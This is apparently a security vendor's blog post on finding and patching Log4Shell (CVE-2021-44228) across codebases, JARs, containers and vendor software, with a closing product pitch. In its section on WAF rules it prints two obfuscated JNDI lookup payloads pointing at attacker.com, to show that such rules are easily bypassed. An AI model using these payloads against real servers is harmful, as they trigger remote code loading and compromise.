Incident Response

Log4Shell Impact Assessment and Remediation Guide

You know Log4Shell is bad. Now here's how to find every instance in your environment and fix it — including the edge cases everyone misses.

Yukti Singhal
Security Researcher
5 min read

Stop Scanning, Start Fixing

It's been five days since CVE-2021-44228 went public. If you haven't started remediating, you're already behind. Active exploitation is widespread. Ransomware groups have added Log4Shell to their arsenals. The question isn't whether you're being scanned — you are. The question is whether you're vulnerable.

This guide is a practical remediation playbook. No theory. No hand-wraving. Just the steps to find Log4j in your environment and get it patched.

Step 1: Identify All Instances

This is the hard part. Log4j doesn't just sit in your pom.xml. It hides everywhere.

Direct Dependencies

Search your source code repositories for explicit Log4j dependencies:

# Maven
grep -r "log4j-core" --include="pom.xml" .
grep -r "log4j-api" --include="pom.xml" .

# Gradle
grep -r "log4j-core" --include="*.gradle" .
grep -r "log4j-core" --include="*.gradle.kts" .

Look for versions prior to 2.17.1. Versions 2.0 through 2.14.1 are vulnerable to the original CVE-2021-44228. Versions 2.15.0 and 2.16.0 have their own CVEs (CVE-2021-45046 and CVE-2021-45105).

Transitive Dependencies

Direct dependency searches miss transitive inclusions. Use your build tool to resolve the full dependency tree:

# Maven
mvn dependency:tree | grep log4j

# Gradle
gradle dependencies | grep log4j

Common libraries that pull in Log4j transitively include Spring Boot Starter (before 2.5.8/2.6.2), Apache Kafka, Apache Spark, Elasticsearch, and Logstash.

Fat JARs and Uber-JARs

If your build produces shaded/uber JARs, the dependency won't appear in your manifest. You need to inspect the JAR itself:

# Search for Log4j classes inside a JAR
jar tf application.jar | grep "log4j"
unzip -l application.jar | grep "JndiLookup.class"

The presence of org/apache/logging/log4j/core/lookup/JndiLookup.class is the definitive indicator of a vulnerable configuration.

Container Images

Your Docker images may include Log4j in the application layer or in pre-installed Java applications:

# Scan with Syft
syft <image> | grep log4j

# Scan with Grype
grype <image> --only-fixed | grep log4j

# Manual inspection
docker run --rm -it <image> find / -name "log4j-core*.jar" 2>/dev/null

Vendor Software

Commercial and open-source applications running in your environment may use Log4j. Check vendor advisories. CISA maintains a community-sourced list of affected vendors at github.com/cisagov/log4j-affected-db.

Key products confirmed affected include VMware vCenter, VMware Horizon, Cisco products (multiple), Fortinet products, Atlassian products, and hundreds more.

Step 2: Prioritize

Not everything can be patched simultaneously. Prioritize based on:

  1. Internet-facing applications — These are being actively scanned and exploited. Patch immediately.
  2. Applications processing untrusted input — Email servers, API gateways, web applications — anything that logs user-controlled data.
  3. Critical internal applications — If an attacker achieves initial access through another vector, internal Log4j instances become lateral movement opportunities.
  4. Development and CI/CD systems — Build servers running Java tools (Maven, Gradle, Jenkins) may be vulnerable.

Step 3: Remediate

Option 1: Upgrade (Preferred)

Update to Log4j 2.17.1 or later. This is the cleanest fix.

For Maven:

<dependency>
    <groupId>org.apache.logging</groupId>
    <artifactId>log4j-core</artifactId>
    <version>2.17.1</version>
</dependency>

Test thoroughly. The jump from 2.14.x to 2.17.x may introduce behavioral changes, particularly around message formatting and lookup handling.

Option 2: Remove JndiLookup Class

If you can't upgrade immediately, remove the vulnerable class from the JAR:

zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

This disables the JNDI lookup functionality without replacing the entire library. It's a surgical fix suitable for environments where full upgrades require extensive testing.

Option 3: JVM Flag (Partial Mitigation)

For Log4j versions 2.10 through 2.14.1, set the JVM system property:

-Dlog4j2.formatMsgNoLookups=true

Warning: This mitigation was initially recommended but later found to be incomplete. CVE-2021-45046 demonstrated that this flag doesn't prevent all exploitation paths. Use this only as a temporary measure while working toward a full upgrade.

Option 4: WAF Rules (Temporary)

Deploy WAF rules to block common Log4Shell payloads. Most WAF vendors released rules within 48 hours of disclosure. However, WAF rules are easily bypassed through obfuscation:

${${lower:j}ndi:${lower:l}dap://attacker.com/a}
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://attacker.com/a}

WAF rules buy time but are not a remediation.

Step 4: Verify

After patching, verify the fix:

  • Confirm the updated Log4j version in your deployed artifacts
  • Run a vulnerability scanner against patched systems
  • Test with a safe JNDI lookup payload to confirm lookups are disabled (tools like log4shell-detector can help)
  • Monitor logs for ongoing exploitation attempts

Step 5: Post-Incident

Assume Compromise for Unpatched Systems

If you had internet-facing systems running vulnerable Log4j versions between December 1 and your patch date, assume they were compromised. Investigate:

  • Review logs for JNDI lookup patterns
  • Check for unauthorized processes, network connections, and persistence mechanisms
  • Audit account activity for credential misuse
  • Check for cryptominer installations

Update Your SBOM

If this incident exposed gaps in your component visibility, invest in SBOM tooling. The next Log4Shell-class vulnerability is a matter of when, not if. You need to be able to identify affected components in hours, not weeks.

Review Your Transitive Dependencies

Log4Shell highlighted the risk of transitive dependencies. Consider whether your dependency management practices give you visibility into what's actually in your build output.

How Safeguard.sh Helps

Safeguard.sh eliminates the most painful part of Log4Shell remediation — finding every instance. The platform scans your entire software portfolio, including source manifests, built artifacts, and container images, to identify every occurrence of Log4j. No manual JAR inspection, no hoping you didn't miss a transitive dependency. Complete visibility, automated.

The platform tracks remediation progress across your organization, showing which teams have patched, which are pending, and which systems remain vulnerable. This dashboard view is critical during a multi-week remediation effort spanning hundreds of applications and dozens of teams.

Going forward, Safeguard.sh's continuous monitoring ensures that new deployments don't reintroduce vulnerable Log4j versions. If a developer adds a dependency that pulls in an old Log4j version, the platform catches it in CI before it reaches production. Prevention is always cheaper than remediation.

Never miss an update

Weekly insights on software supply chain security, delivered to your inbox.